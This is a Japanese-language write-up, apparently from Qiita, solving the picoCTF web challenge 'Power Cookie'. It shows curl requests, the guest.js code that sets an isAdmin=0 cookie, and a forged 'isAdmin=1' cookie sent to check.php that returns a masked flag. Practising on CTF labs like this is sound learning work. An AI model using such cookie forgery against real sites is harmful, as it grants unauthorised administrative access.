0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF Writeup: Power Cookie

Last updated at Posted at 2025-12-06

picoCTF Writeup: Power Cookie

Cookieを変更してリクエストしてみよう問題

  • ジャンル: Web Exploitation
  • 難易度: Medium

Writeup

問題文はこんな感じです。

Can you get the flag?
Go to this website and see what you can discover.
flagを取れるかな?websiteに行って何が見つけられるかみてみなさい。

まずは、websiteに行くしかないですね。

$ curl -s -XGET http://saturn.picoctf.net:59115
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Secure Log In</title>
  </head>
  <body>
    <script src="guest.js"></script>

    <h1>Online Gradebook</h1>
    <button type="button" onclick="continueAsGuest();">Continue as guest</button>
  </body>
</html>

ボタンが一つあって、continueAsGuest()関数が呼ばれる。
guest.jsには、continueAsGuest()関数が記述されている。

function continueAsGuest()
{
  window.location.href = '/check.php';
  document.cookie = "isAdmin=0";
}

リクエストヘッダーのcookie"isAdmin=0"が設定され、check.phpにリクエストが飛ぶようです。

今回の問題はcookieの問題ですので、"isAdmin=1"を試してみたくなります。

$ curl -s -XGET -H "Cookie: isAdmin=1" http://saturn.picoctf.net:59115/check.php
<html>
<body>
<p>picoCTF{gr4d3_A_c00k13_XXXXXXXX}</p>
</body>
</html>

flagが取れました。(flagはマスクしています。)

今回は簡単な問題でしたね。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?